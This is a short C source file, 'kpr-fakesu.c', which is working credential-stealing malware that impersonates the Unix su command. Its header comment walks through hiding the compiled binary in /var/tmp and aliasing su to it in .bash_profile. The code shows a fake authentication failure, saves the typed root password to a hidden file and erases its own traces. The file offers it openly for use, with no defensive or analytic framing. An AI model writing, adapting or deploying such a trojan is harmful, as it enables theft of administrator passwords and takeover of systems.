/* * kpr-fakesu.c V0.9beta167 ;P * by koper <koper@linuxmail.org> * * Setting up: * admin@host:~$ gcc -o .su fakesu.c; rm -rf fakesu.c * admin@host:~$ mv .su /var/tmp/.su * admin@host:~$ cp .bash_profile .wgetrc * admin@host:~$ echo "alias su=/var/tmp/.su">>.bash_profile * admin@host:~$ logout * *** LOGIN *** * admin@host:~$ su * Password: * su: Authentication failure * Sorry. * admin@host:~$ su * Password: * root@host:~# logout * admin@host:~$ cat /var/tmp/.pwds * root:dupcia17 * admin@host:~$ * * /bin/su sends various failure information depending on the OS ver. * Please modify the source to make it "fit" ;) * */
#include <stdio.h>#include <stdlib.h>#include <unistd.h>
main(int argc, char *argv[]){
FILE *fp;char *user;char *pass;char filex[100];char clean[100];
sprintf(filex,"/var/tmp/.pwds");sprintf(clean,"rm -rf /var/tmp/.su;mv -f /home/sichunfeng/.wgetrc /home/sichunfeng/.bash_profile");if(argc==1) user="root";if(argc==2) user=argv[1];if(argc>2){ if(strcmp(argv[1], "-l")==0) user=argv[2]; else user=argv[1];}
fprintf(stdout,"Password: "); pass=getpass ("");system("sleep 3");fprintf(stdout,"su: Authentication failure\nSorry.\n");
if ((fp=fopen(filex,"w")) != NULL) { fprintf(fp, "%s:%s\n", user, pass); fclose(fp); }
system(clean);system("rm -rf /var/tmp/.su; ln -s /bin/su /var/tmp/.su");}

